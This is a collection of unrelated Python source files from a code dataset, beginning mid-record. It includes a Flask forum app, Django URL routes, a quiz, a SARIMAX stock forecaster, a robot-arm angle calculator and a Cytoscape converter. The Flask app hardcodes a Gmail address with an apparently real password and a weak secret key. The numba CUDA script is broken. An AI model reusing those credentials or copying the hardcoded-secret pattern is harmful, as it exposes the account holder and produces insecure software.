folks!\")\n","sub_path":"CommonCrawler.py","file_name":"CommonCrawler.py","file_ext":"py","file_size_in_byte":2724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"128137463","text":"def main():\r\n '''\r\n 입력으로 제공되는 도서 목록의 각 도서 중에서 주어진 검색 키워드가 포함된 도서 목록을 검색하는 프로그램을 작성하시오.\r\n(단, 검색 키워드와 도서는 대소문자를 구분하지 않는다.)\r\n입력1)\r\n검색 키워드: data\r\n도서 목록: Data Processing, Data Mining, Relational Database, data-intensive application, ML/DL\r\n출력1) Data Procession, Data Mining, Relational Database, data-intensive\r\n입력2)\r\n검색 키워드: pro\r\n도서 목록: Java Programming, Data Science, Data-Modeling, Programming with Data, Python Programming\r\n출력2) Java Programming, Programming with Data, Python Programming\r\n '''\r\n # 입력 : 검색 키워드\r\n keyword = \"data\"\r\n keyword = \"pro\"\r\n\r\n # 입력 : 도서 목록\r\n books = [\"Data Processing\", \"Data Mining\", \"Relational Database\", \"data-intensive application\", \"ML/DL\"]\r\n books = [\"Java Programming\", \"Data Science\", \"Data-Modeling\", \"Programming with Data\", \"Python Programming\"]\r\n\r\n search_list = []\r\n\r\n keyword = keyword.upper()\r\n for book in books:\r\n temp = book.upper()\r\n if temp.__contains__(keyword):\r\n search_list.append(book)\r\n\r\n print(\"-------------------------------------------------------------------------------\")\r\n print(\"검색 결과 : \", search_list)\r\n print(\"-------------------------------------------------------------------------------\")\r\n\r\n# # 메인 함수 호출 ##\r\nif __name__ == \"__main__\":\r\n main()\r\n","sub_path":"0716/workshop/문자열Question4.py","file_name":"문자열Question4.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"57896769","text":"# -*- coding: utf-8 -*-\nimport log_util\nimport team\nimport vs\nfrom util import tim_util\n\nif __name__ == \"__main__\":\n \"\"\"\n 汇总昨日的比赛信息\n \"\"\"\n logger = log_util.get_logger()\n bet_start = tim_util.get_yestoday()\n bet_end = tim_util.get_yestoday()\n # bet_start = \"2015-07-01\"\n # bet_end = \"2016-10-01\"\n days = tim_util.get_date_diff(bet_start, bet_end)\n for i in range(days + 1):\n bet_date = tim_util.get_ago_date(bet_end, -i, \"%Y-%m-%d\")\n num1 = team.team_by_date(bet_date)\n logger.info(\"%s, analysis team num : %s\" % (bet_date, str(num1)))\n num2 = vs.vs_by_date(bet_date)\n logger.info(\"%s, analysis vs num : %s\" % (bet_date, str(num2)))\n","sub_path":"crawl/analy/vs_team_runner.py","file_name":"vs_team_runner.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"93664513","text":"import os\nfrom datetime import datetime\n\nfrom flask import Flask, render_template, request, flash, redirect, url_for\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_security import Security, SQLAlchemyUserDatastore, UserMixin, RoleMixin, login_required\nfrom flask_wtf import FlaskForm\nfrom wtforms import StringField, TextAreaField, SubmitField, IntegerField\nfrom wtforms.validators import DataRequired\nfrom flask_mail import Mail, Message\nfrom flask_security.forms import RegisterForm\nfrom flask_migrate import Migrate\n\n# Create app\napp = Flask(__name__)\n\nbasedir = os.path.abspath(os.path.dirname(__file__))\n\napp.config['DEBUG'] = True\napp.config['SECRET_KEY'] = 'super-secret'\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///' + os.path.join(basedir, 'app.db')\napp.config['SQLALCHEMY_MIGRATE_REPO'] = os.path.join(basedir, 'db_repository')\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\napp.config['SECURITY_PASSWORD_SALT'] = 'snhdasdkjahdkjash'\napp.config['SECURITY_REGISTERABLE'] = True\napp.config['SECURITY_REGISTER_URL'] = '/register'\napp.config['SECURITY_RECOVERABLE'] = True\napp.config['SECURITY_CONFIRMABLE'] = False\napp.config['SECURITY_SEND_REGISTER_EMAIL'] = False\n# app.config['SECURITY_USER_IDENTITY_ATTRIBUTES'] = ['email',]\napp.config.update(dict(\n MAIL_SERVER = 'smtp.gmail.com',\n MAIL_PORT = 465,\n MAIL_USE_TLS = False,\n MAIL_USE_SSL = True,\n MAIL_USERNAME = 'thelisteningaddict@gmail.com',\n MAIL_PASSWORD = 'DavidDobrik7',\n MAIL_DEFAULT_SENDER = 'noreply@thelisteningaddict.com',\n))\n# Create database connection object\ndb = SQLAlchemy(app)\nmail = Mail(app)\nmigrate = Migrate(app, db)\n\n# Define models\nroles_users = db.Table('roles_users',\n db.Column('user_id', db.Integer(), db.ForeignKey('user.id')),\n db.Column('role_id', db.Integer(), db.ForeignKey('role.id')))\n\nclass Role(db.Model, RoleMixin):\n id = db.Column(db.Integer(), primary_key=True\n )\n name = db.Column(db.String(80), unique=True\n )\n description = db.Column(db.String(255))\n\nclass User(db.Model, UserMixin):\n id = db.Column(db.Integer, primary_key=True)\n username = db.Column(db.String(120), unique=True)\n email = db.Column(db.String(255), unique=True)\n password = db.Column(db.String(255))\n active = db.Column(db.Boolean())\n confirmed_at = db.Column(db.DateTime())\n roles = db.relationship('Role', secondary=roles_users,\n backref=db.backref('users', lazy='dynamic'))\n\nclass ExtendedRegisterForm(RegisterForm):\n username = StringField('Username', validators=[DataRequired()])\n\n# Setup Flask-Security\nuser_datastore = SQLAlchemyUserDatastore(db, User, Role)\nsecurity = Security(app, user_datastore,\n register_form=ExtendedRegisterForm)\n\nclass RoleForm(FlaskForm):\n name = StringField('name', validators=[DataRequired()])\n description = StringField('description', validators=[DataRequired()])\n\n# Create a user to test with\n# @app.before_first_request\n# def create_user():\n# db.create_all()\n# user_datastore.create_user(username='droid', email='droidthelast@gmail.com', password='password')\n# db.session.commit()\n\nclass Forum(db.Model):\n __tablename__ = 'forum'\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(120), unique=True)\n description = db.Column(db.Text)\n owner = db.Column(db.Integer, db.ForeignKey('user.id'))\n timestamp = db.Column(db.DateTime)\n\n\n def __repr__(self):\n return '' %(self.name)\n\nclass Comment(db.Model):\n _N = 6\n\n id = db.Column(db.Integer, primary_key=True)\n forum_commented = db.Column(db.Integer, db.ForeignKey('forum.id'))\n text = db.Column(db.String(140))\n author = db.Column(db.Integer, db.ForeignKey('user.id'))\n timestamp = db.Column(db.DateTime(), default=datetime.utcnow, index=True)\n downvote = db.Column(db.Boolean, default=False, nullable=False)\n upvote = db.Column(db.Boolean, default=False, nullable=False)\n path = db.Column(db.Text, index=True)\n parent_id = db.Column(db.Integer, db.ForeignKey('comment.id'))\n replies = db.relationship(\n 'Comment', backref=db.backref('parent', remote_side=[id]),\n lazy='dynamic')\n\n def save(self):\n db.session.add(self)\n db.session.commit()\n prefix = self.parent.path + '.' if self.parent else ''\n self.path = prefix + '{:0{}d}'.format(self.id, self._N)\n db.session.commit()\n\n def level(self):\n return len(self.path) // self._N - 1\n\nclass FollowForum(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n user_id = db.Column(db.Integer, db.ForeignKey('user.id'))\n forum_id = db.Column(db.Integer, db.ForeignKey('forum.id'))\n join_date = db.Column(db.DateTime, default=datetime.utcnow, index=True)\n forum = db.relationship('Forum', backref=db.backref('forums'))\n user = db.relationship('User', backref=db.backref('forums'))\n # user = relationship(User, backref=backref(\"orders\", cascade=\"all, delete-orphan\"))\n # product = relationship(Product, backref=backref(\"orders\", cascade=\"all, delete-orphan\"))\n\n# Views\n@app.route('/')\ndef home():\n return render_template('index.html')\n\n@app.route('/forum')\n@login_required\ndef forum():\n return render_template('forum/index.html')\n\n\n\n@app.route('/admin')\n@login_required\ndef admin():\n roles = Role.query.all()\n return render_template('admin/admin.html', roles=roles)\n\n@app.route('/adminform', methods=['POST','GET'])\n@login_required\ndef adminform():\n form = RoleForm()\n if request.method == 'POST':\n name = request.form['name']\n description = request.form['description']\n role = Role(name=name, description=description)\n db.session.add(role)\n db.session.commit()\n flash('role added')\n return redirect(url_for('admin'))\n else:\n return render_template('admin/admin-forms.html', form=form)\n\nif __name__ == '__main__':\n app.run(port=5000)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"599569263","text":"from django.urls import path, re_path\nfrom django.views.generic import RedirectView\n\nfrom . import views\nfrom main_aam.views import robots_txt, set_cookie_town\n\n\nurlpatterns = [\n path(\"robots.txt\", robots_txt,),\n path('town/', set_cookie_town, name='set_cookies_town'),\n path('', views.MainSiteView.as_view(), name='index_page'),\n path('articles/', views.ArticleCategory.as_view()),\n path('articles/', views.ArticleSubCategory.as_view(), name='article_category_detail'),\n path('article/', views.Article.as_view(), name='article_detail'),\n path('services/', views.ServiceMainCategory.as_view(), name='main_service'),\n path('services/', views.ServiceMainSubCategory.as_view(), name='parent_service_category'),\n path('services//', views.ServiceLastCategory.as_view(), name='service_category_detail'),\n path('company_catalog/', views.CompanyCatalog.as_view()),\n path('company_catalog/', views.CompanySubCatalog.as_view(), name='company_category_detail'),\n path('company/', views.Company.as_view(), name='company_detail'),\n path('news/', views.NewsList.as_view()),\n path('news//', views.News.as_view(), name='news_detail'),\n path('promo/', views.PromoCatalog.as_view()),\n path('promo//', views.Promo.as_view(), name='promo_detail'),\n path('pharmacy_catalog/', views.PharmacyCatalog.as_view()),\n path('doctor_catalog/', views.DoctorCatalog.as_view()),\n path('doctor_catalog/', views.DoctorSubcatalog.as_view(), name='specializations_detail'),\n path('doctor/', views.Doctor.as_view(), name='doctor_detail'),\n path('article/', views.redirect_article),\n path('company/', views.redirect_company),\n path('doctor/', views.redirect_doctor),\n path('search/', views.SearchView.as_view(), name='search_results'),\n ]\n\n\n\n","sub_path":"main_aam/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"322582801","text":"import datetime\nimport random\n\nfrom questions import Add, Multiply\n\nclass Quiz:\n questions = []\n answers = []\n \n def __init__(self):\n question_types = (Add, Multiply)\n # generate 10 random questions with numbers from 1 to 10\n num_of_quest = input(\"Enter the # of questions you'd like. \")\n print(\"Please enter a lower and upper bound of the numbers you'd like to work with.\")\n lower_bound = input(\"Enter your lower bound: \")\n upper_bound = input(\"Enter your upper bound: \")\n for _ in range(int(num_of_quest)):\n num1 = random.randint(int(lower_bound), int(upper_bound))\n num2 = random.randint(int(lower_bound), int(upper_bound))\n question = random.choice(question_types)(num1, num2)\n # add these questions to self.questions\n self.questions.append(question)\n \n def take_quiz(self):\n # log the start time\n self.start_time = datetime.datetime.now()\n # ask all the questions\n for question in self.questions:\n # log if they got the question right\n self.answers.append(self.ask(question))\n else:\n # log the end time\n self.end_time = datetime.datetime.now()\n # show a summary\n return self.summary()\n \n def ask(self, question):\n correct = False\n # log the start time\n question_start = datetime.datetime.now()\n # capture the answer\n answer = input(question.text + ' = ')\n # check the answer\n if answer == str(question.answer):\n correct = True\n # log the end time\n question_end = datetime.datetime.now()\n # if the answer's right, send back True\n # otherwise, send back false\n # send back elapsed time, too\n return correct, question_end - question_start\n \n def total_correct(self):\n # return the total number of correct answers\n total = 0\n for answer in self.answers:\n if answer[0]:\n total += 1\n return total\n \n \n def summary(self):\n # print how many questions you got correct and the total number of questions. 5/10\n print(\"You got {} out of {} right.\".format(\n self.total_correct(), len(self.questions)\n ))\n # print the total time for the quiz: 30 seconds!\n print(\"It took you {} seconds total.\".format(\n (self.end_time - self.start_time).seconds\n ))\n \"\"\"for questions in self.questions:\n print(\"Question {} took {} seconds.\".format(\"\"\"\n \nQuiz().take_quiz() \n","sub_path":"quiz.py","file_name":"quiz.py","file_ext":"py","file_size_in_byte":2652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"565730388","text":"#Josh Natis\n#September 20th,2018\n#This program will return the fraction of plural nouns from an inputed list\n\n\nwordList = input(\"Enter nouns: \")\ncountPlurals = wordList.count(\"s \") #checks how many words end with s\n\nwordTotal = wordList.count(\" \") + 1 #last word doesn't end with a space, so add 1\nif wordList[-1].lower() == \"s\":\n countPlurals += 1\n \nfracPlur = float(countPlurals)/wordTotal\n\n\nprint(\"Number of words: \", wordTotal)\nprint(\"Fraction of your list that is plural is \", fracPlur)\n","sub_path":"24 countingPlurals.py","file_name":"24 countingPlurals.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"466011284","text":"# Standard packages\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport matplotlib\n\nsns.set_style('darkgrid')\nplt.style.use('seaborn-darkgrid')\nimport random\n\n# statistics\nimport statsmodels.api as sm\nfrom statsmodels.tsa.stattools import adfuller\nfrom pmdarima.arima import auto_arima\nfrom statsmodels.tsa.statespace.sarimax import SARIMAX\nfrom statsmodels.tsa.arima.model import ARIMA\nfrom sklearn.metrics import mean_squared_error\n\n# preprocess\nfrom sklearn.preprocessing import MinMaxScaler\n\n# scripts\nimport Analysis\n\n\ndef get_train_test(df, train_split, scale=True, stationary=False):\n sc_in = MinMaxScaler(feature_range=(0, 1))\n sc_out = MinMaxScaler(feature_range=(0, 1))\n scaled_input, scaler_output = None, None\n df_orig = df.copy()\n if scale:\n scaled_input = sc_in.fit_transform(df[[\"Low\", \"High\", \"Open\", \"Close\", \"Volume\", \"Adj Close\", \"Mean\"]])\n scaled_input = pd.DataFrame(scaled_input)\n X = scaled_input\n X.rename(columns={0: \"Low\", 1: \"High\", 2: \"Open\", 3: \"Close\", 4: \"Volume\", 5: \"Adj Close\", 6: \"Mean\"}, inplace=True)\n X.index = df.index\n\n scaler_output = sc_out.fit_transform(df[[\"Actual\"]])\n scaler_output = pd.DataFrame(scaler_output)\n y = scaler_output\n y.rename(columns={0: \"Next day price\"}, inplace=True)\n y.index = df.index\n elif stationary:\n stationary_data = Analysis.get_stationary_data(df, df.columns if df.columns[0] != 'Date' else df.columns[1:], 12)\n X = stationary_data[[\"Low\", \"High\", \"Open\", \"Close\", \"Volume\", \"Adj Close\", \"Mean\"]]\n y = stationary_data[[\"Actual\"]]\n else: pass\n\n train_size = int(len(df) * train_split)\n train_X, train_y = X[:train_size].dropna(), y[:train_size].dropna()\n test_X, test_y = X[train_size:].dropna(), y[train_size:].dropna()\n\n return train_X, train_y, test_X, test_y, scaled_input, scaler_output, sc_out, df_orig\n\n\ndef plot_acf(y_test):\n matplotlib.style.use('seaborn-darkgrid')\n fig, ax = plt.subplots(2, 1, figsize=(15, 10))\n fig = sm.tsa.graphics.plot_acf(y_test, lags=50, ax=ax[0])\n fig = sm.tsa.graphics.plot_pacf(y_test, lags=50, ax=ax[1])\n plt.show()\n\n\ndef get_best_arima(train_X, train_y):\n step_wise = auto_arima(train_y, exogenous=train_X, start_p=1, start_q=1,\n max_p=7, max_q=7, d=1, max_d=7, trace=True,\n error_action=\"ignore\", suppress_warnings=True, stepwise=True)\n print(step_wise.summary())\n\ndef perform_arima(train_X, train_y, model_name, order):\n if model_name=='arima':\n model = ARIMA(train_y,\n exog=train_X,\n order=order,\n enforce_invertibility=False, enforce_stationarity=False)\n\n elif model_name=='sarimax':\n model = SARIMAX(train_y,\n exog=train_X,\n order=order,\n enforce_invertibility=False, enforce_stationarity=False)\n\n else:\n raise KeyError('Invalid model selection, choose either \"arima\" or \"sarimax\"!')\n\n results = model.fit()\n return model, results\n\ndef predict_arima(results, test_X, train_X, scaler_output, sc_out, df_orig=None, scale=True, stationary=True):\n predictions = results.predict(start=len(train_X), end=len(train_X)+len(test_X)-1, exog=test_X).values\n forecast = results.forecast(steps=len(test_X), exog=test_X)\n act_arr = np.array(df_orig[\"Actual\"][-len(test_X):].values)\n if scale:\n act_arr = sc_out.inverse_transform(np.array(scaler_output.iloc[len(train_X):, 0].values).reshape(-1, 1))\n predictions = sc_out.inverse_transform(np.array(predictions).reshape(-1, 1))\n act = pd.DataFrame(act_arr)\n predictions = pd.DataFrame(predictions)\n predictions.reset_index(drop=True, inplace=True)\n predictions.index = test_X.index\n predictions['Actual'] = act.values\n predictions.rename(columns={0: 'Predictions'}, inplace=True)\n # print(predictions)\n if stationary:\n predictions = Analysis.inverse_stationary_data(old_df=df_orig, new_df=predictions,\n orig_feature='Actual', new_feature='Predictions',\n diff=12, do_orig=False)\n\n return predictions\n\ndef plot_predictions(predictions, stock_name: str):\n matplotlib.style.use('seaborn-darkgrid')\n RMSE = np.sqrt(mean_squared_error(predictions[\"Predictions\"].values, predictions[\"Actual\"].values))\n predictions[\"Actual\"].plot(figsize=(20, 8), legend=True, color=\"#81A6FF\", linewidth=1)\n predictions[\"Predictions\"].plot(legend=True, color=\"#C281FF\", linewidth=1, figsize=(20, 8))\n plt.ylabel('USD $')\n plt.title(f'SARIMAX predictions for \"{stock_name}\" stock')\n plt.savefig('./demonstration_images/sarimax_predictions.png')\n plt.show()\n\n\nif __name__=='__main__':\n df = Analysis.get_data('./Data/AMZN.csv')\n\n df_new = Analysis.data_preparation(df)\n setup = get_train_test(df_new.dropna(), 0.8, scale=False, stationary=True)\n train_X, train_y, test_X, test_y, scaled_input, scaler_output, sc_out, df_orig = setup\n #plot_acf(test_y)\n\n #get_best_arima(train_X, train_y)\n\n model, results = perform_arima(train_X, train_y, 'sarimax', (1, 1, 1))\n predictions = predict_arima(results, test_X, train_X, scaler_output, sc_out, df_orig, scale=False)\n plot_predictions(predictions, \"AMZN\")\n\n\n\n","sub_path":"sarimax.py","file_name":"sarimax.py","file_ext":"py","file_size_in_byte":5466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"19385043","text":"##############################################################\r\n# Libraries\r\n##############################################################\r\nfrom numba import cuda\r\nimport math\r\nimport numpy as np\r\nimport time\r\nimport datetime\r\nimport array\r\n\r\n\r\n##############################################################\r\n# Variable Definition\r\n##############################################################\r\nDESIRED_HEIGHT = 3 # Inches from Base Point\r\nDESIRED_REACH = 3 # Inches from Base Point\r\nL1 = 9 # Humerus Length in Inches - Straight Up\r\nL2 = 2.5 # Elbow Length in Inches\r\nL3 = 9.1 # Radius Length in Inches\r\nL4 = 5.15 # Metacarpi Length in Inches\r\nL5 = 3 # Section Cup in Inches - Straight Down\r\nGAP_VALUE = 1 # The Difference between Two Selected Angle\r\nRANGE_LOW = -90 # Maximum Rotation to the Left\r\nRANGE_HIGH = 90 # Maximum Rotation to the Right\r\nCOMBO_RESULT = [] # Empty Space for Result\r\n\r\n\r\n##############################################################\r\n# Function Prototype\r\n##############################################################\r\n# Generating a list based on boundaries and differences\r\ndef array_generator(low_end, high_end, gap):\r\n result_list = []\r\n attach_value = low_end\r\n while attach_value != high_end + 1:\r\n result_list.append(attach_value)\r\n attach_value += gap\r\n result_array = np.array([result_list])\r\n return result_array\r\n\r\n\r\ndef calculation_file_generation(action, x, y, a1, a2, a3):\r\n file_name = \"MassResult.txt\"\r\n # Determine Action Type\r\n if action == \"w\":\r\n # Clear file\r\n file = open(file_name, \"w\")\r\n file.write(\"xLocation yLocation Angle1 Angle2 Angle3 Angle4 \\n\")\r\n file.close()\r\n else:\r\n # Write file\r\n file = open(file_name, \"a\")\r\n info = [x, y, a1, a2, a3, 180-a1-a2-a3, \"\\n\"]\r\n write_info = \" \".join(str(x) for x in info)\r\n file.write(write_info)\r\n file.close()\r\n\r\n\r\n@cuda.jit(nopython=True, parallel=True)\r\ndef cal_kernel(input_array):\r\n # Establish Variables\r\n low_end = input_array[0]\r\n high_end = input_array[1]\r\n gap = input_array[2]\r\n # Establish Degree Array of 5 Different Servos\r\n A1 = array_generator(low_end, high_end, gap)\r\n A2 = array_generator(RANGE_LOW, RANGE_HIGH, gap)\r\n A3 = array_generator(RANGE_LOW, RANGE_HIGH, gap)\r\n\r\n # Full Calculation Method\r\n calculation_file_generation(action=\"w\", x=0, y=0, a1=0, a2=0, a3=0)\r\n for a in range(A1.shape[1]):\r\n print(\" * Current working on \", A1[a])\r\n for b in range(A2.shape[1]):\r\n for c in range(A3.shape[1]):\r\n if RANGE_LOW <= 180 - A1[a] - A2[b] - A3[c] <= RANGE_HIGH:\r\n y = L1 * math.cos(math.radians(0)) + \\\r\n L2 * math.cos(math.radians(A1[0][a])) + \\\r\n L3 * math.cos(math.radians(A1[0][a] + A2[0][b])) + \\\r\n L4 * math.cos(math.radians(A1[0][a] + A2[0][b] + A3[0][c])) + \\\r\n L5 * math.cos(math.radians(180))\r\n\r\n x = L1 * math.sin(math.radians(0)) + \\\r\n L2 * math.sin(math.radians(A1[0][a])) + \\\r\n L3 * math.sin(math.radians(A1[0][a] + A2[0][b])) + \\\r\n L4 * math.sin(math.radians(A1[0][a] + A2[0][b] + A3[0][c])) + \\\r\n L5 * math.sin(math.radians(180))\r\n # Save the Combination for Servo Angles\r\n if x > 0:\r\n calculation_file_generation(action=\"a\", x=x, y=y, a1=A1[a], a2=A2[b], a3=A3[c])\r\n\r\n\r\n##############################################################\r\n# Main Function\r\n##############################################################\r\ndef main():\r\n print(\"Hello World!\")\r\n print(\"Starting Process ... \", datetime.datetime.now())\r\n c = array_generator(-10, 10, 1)\r\n input_array = [-90, 90, 1]\r\n cal_kernel(input_array)\r\n print(\"Ending Process ... \", datetime.datetime.now())\r\n\r\n\r\n##############################################################\r\n# Main Function Runner\r\n##############################################################\r\nif __name__ == \"__main__\":\r\n main()\r\n","sub_path":"Arm/angleMassCalculation_Cuda.py","file_name":"angleMassCalculation_Cuda.py","file_ext":"py","file_size_in_byte":4190,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"36330141","text":"from tools.cmp_errors import CompilerError\nfrom pipeline import State\n\nclass Reader(State):\n def __init__(self, name):\n super().__init__(name)\n\n def run(self, path):\n try:\n raw = open(path).read()\n return raw\n except:\n self.errors.append(CompilerError(0, 0, 'Missing input file'))\n self.stop = True # stop pipeline","sub_path":"src/tools/reader.py","file_name":"reader.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"35685108","text":"#!/usr/bin/env python3\n\nimport os, sys, distutils, re\nimport argparse\nfrom string import Template\n\nparser = argparse.ArgumentParser(description='This script takes a tab-delimited input file, and converts into tab-delimited Cytoscape compatible format. The output will allow plotting of transplant outcome sequelae based on the user-specified columns. This script assumes that the first column is the unique ID column and uses it to annotate by individual patients. Outputs 3 files, named by the input file, and prefixed with txp_immport2cytoscape_seq and the last one suffixed with .log',\n usage='txp_immport2cytoscape.py -c 1,2,0 -i ',\n epilog='EXAMPLE: txp_immport2cytoscape.py -c 1,2 -i file.txt')\nparser.add_argument('-i', help='input file or STDIN -; header required; \"-\" means STDIN')\nparser.add_argument('-c', help='comma-separated triplets of numbers, with the 1st number being the outcome/condition we want cytoscape to have as a node, binary; 2nd number being the min/start date e.g. in days; 3rd number being the max/end date; -1 means to skip that category. E.g. -c 3,2,-1 would mean take column 3 for a certain outcome/condition we want Cytoscape to have as a node, typically, yes or no, 1 or 0, and column 2 is the start date, with no end date in this case. Note that the columns do not have to be in order, but they do have conform to the triplet definition, and the first number CANNOT be -1.')\n\n\n## help if no arguments or -h/--help\nif len(sys.argv) == 1:\n\tparser.print_help()\n\tsys.exit(1)\n\nargs = parser.parse_args()\n\n##### functions #####\n###################################\n## this function parses the header\ndef processHeader(cols, fields):\n\t\n\tcol2outcomes = {}\n\t\n\tfor i in range(0, len(cols), 3):\n\t\t\t\tif(cols[i] == -1):\n\t\t\t\t\tsys.exit(\"First number of the triplet of comma-sep columns CANNOT be -1!\")\n\t\t\t\telse:\n\t\t\t\t\ttry:\n\t\t\t\t\t\tcol2outcomes[ cols[i] ] = fields[ int(cols[i])-1 ]\n\t\t\t\t\t\tcol2outcomes[ cols[i+1] ] = fields[ int(cols[i+1])-1 ]\n\t\t\t\t\t\tcol2outcomes[ cols[i+2] ] = fields[ int(cols[i+2])-1 ]\n\t\t\t\t\t\t\n\t\t\t\t\t\tlogfile.write(\"cols\" + cols[i]+\",\"+cols[i+1]+\",\"+cols[i+2] + \": \" + fields[ int(cols[i])-1 ]+\",\"+fields[ int(cols[i+1])-1 ]+\",\"+fields[ int(cols[i+2])-1 ] + \"\\n\")\n\t\t\t\t\texcept IndexError: \n\t\t\t\t\t\t## catch errors in c2 and c3 are -1s\n\t\t\t\t\t\tif(cols[i+1] == -1):\n\t\t\t\t\t\t\tlogfile.write(\"cols\" + cols[i]+\",\"+cols[i+1]+\",\"+cols[i+2] + \": \" + fields[ int(cols[i])-1 ]+\",skipped,\"+fields[ int(cols[i+2])-1 ] + \"\\n\")\n\t\t\t\t\t\telif(cols[i+2] == -1):\n\t\t\t\t\t\t\tlogfile.write(\"cols\" + cols[i]+\",\"+cols[i+1]+\",\"+cols[i+2] + \": \" + fields[ int(cols[i])-1 ]+\",\"+fields[ int(cols[i+1])-1 ]+\",skipped\\n\")\n\t\n\treturn col2outcomes;\n\n#######################################################################################\n## this fxn prints the sequence of events based on the start date of the outcome event\n## this includes the event 'transplant', which is set to 0\n## this helps to generate network in Cytoscape\n## also, each row, the edge type is denoted by 'subjID'\ndef processSequenceFile(seqfile, logfile, subjID, outcome2start, outcome2end):\n\toutcomelist = []\n\tct = 0 # debug\n\t\n\t## create list for printing one after the other\n\tfor k in sorted(outcome2start, key=outcome2start.get):\n\t\toutcomelist.append(k)\n\t\t\n\tfor i in range(0, len(outcomelist)):\n\t\t\n\t\tif(i < (len(outcomelist)-1) or i == 0):\n\t\t\ttry:\n\t\t\t\tseqfile.write(outcomelist[i] + '\\t' + subjID + '\\t' + outcomelist[i+1] + '\\t' + \\\n\t\t\t\t\t\t\t\t\t\t\t\t\tstr(outcome2start[ outcomelist[i] ]) + '\\t' + str(outcome2end[ outcomelist[i] ]) + '\\t' + \\\n\t\t\t\t\t\t\t\t\t\t\t\t\tstr(outcome2start[ outcomelist[i+1] ]) + '\\t' + str(outcome2end[ outcomelist[i+1] ]) + '\\n')\n\t\t\texcept IndexError:\n\t\t\t\t#seqfile.write(outcomelist[i] + '\\t' + subjID + '\\tNA\\n') ## debug\n\t\t\t\tlogfile.write('No sequence of events for ' + subjID + '\\n')\n\t\n\treturn;\n\t\t\n##### main program ######\nif __name__ == '__main__':\n\t## output files\n\tbasename = os.path.splitext(args.i)[0] ## strips only the last '.', or extension\n\tlogfile = open('txp_immport2cytoscape-' + basename + '.log', 'w')\n\tseqfile = open('txp_immport2cytoscape_seq-' + basename + '.txt', 'w')\n\t#trajfile = open('txp_immport2cytoscape_traj-' + basename + '.txt', 'w')\n\t\n\t## read STDIN when '-' as input\n\t## else read as a file\n\tif args.i == '-':\n\t\tf1 = sys.stdin\n\telse:\n\t\tf1 = open(args.i, 'r')\n\t\n\t## parse columns\n\tcols = args.c.split(',')\n\t\n\t## declare variables\n\theaderProcessed = 0\n\t\n\t# these variables are per subject (row)\n\tcol2outcomes = {}\n\t\n\t## process each line in the file\n\tfor line in f1:\n\t\t\n\t\t## split the row into fields\n\t\tfields = line.rstrip().split('\\t')\n\t\t\n\t\t## parse the header\n\t\t## print headers to output files\n\t\tif(headerProcessed == 0):\n\t\t\tcol2outcomes = processHeader(cols, fields) ## process header\n\t\t\tseqfile.write('eventA\\tsubject_ID\\teventB\\teventA_min\\teventA_max\\teventB_min\\teventB_max\\n')\n\t\t\theaderProcessed = 1 ## set header to processed\n\t\t\t\t\t\t\n\t\t## parse non-header data\n\t\telse:\n\t\t\t## reinitialize\n\t\t\toutcome2start = {'transplant' : 0}\n\t\t\toutcome2end = {'transplant' : 0}\n\t\t\t\n\t\t\t## assume first col to be unique ID\n\t\t\tsubjID = fields[0]\n\t\t\t\n\t\t\t## collect events/outcomes/conditions for one row \n\t\t\t## regardless of order\n\t\t\tfor i in range(0, len(cols), 3):\n\t\t\t\toutcome = col2outcomes[ cols[i] ]\n\t\t\t\tstart = fields[ int(cols[i+1])-1 ]\n\t\t\t\tend = fields[ int(cols[i+2])-1 ]\n\t\t\t\t\n\t\t\t\t## an ordered list of outcomes in each row\n\t\t\t\tif(re.match('[Yy][Ee][Ss]', fields[ int(cols[i])-1 ], re.I | re.M)):\n\t\t\t\t\t#print(subjID + '|' + outcome + '|' + start + '|' + end) ## debug\n\t\t\t\t\ttry:\n\t\t\t\t\t\toutcome2start.update({outcome:int(start)})\n\t\t\t\t\t\toutcome2end.update({outcome:int(end)})\n\t\t\t\t\texcept ValueError:\n\t\t\t\t\t\t## if start is NA, but outcome is Yes\n\t\t\t\t\t\t## pseudo max time and tagging an 'NA' to it\n\t\t\t\t\t\t#print('ERROR:' + subjID + '|outcome:' + outcome + '|col:' + str(int(cols[i+1])-1) + '|start:' + start + '|end:' + end) ## debug\n\t\t\t\t\t\toutcome2start.update({outcome:5000000000})\n\t\t\t\t\t\toutcome2end.update({outcome:5000000000})\n\t\t\t\t\t\toutcome2start.update({'NA':5000000001})\n\t\t\t\t\t\toutcome2end.update({'NA':5000000001})\n\t\t\t\t\t\n\t\t\t##### print to sequence file the sequence of events, using order from outcome start for each subject #####\n\t\t\t##### event A -> event B per line\n\t\t\t#print(outcome2start) ## debug\n\t\t\tprocessSequenceFile(seqfile, logfile, subjID, outcome2start, outcome2end)\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t## close 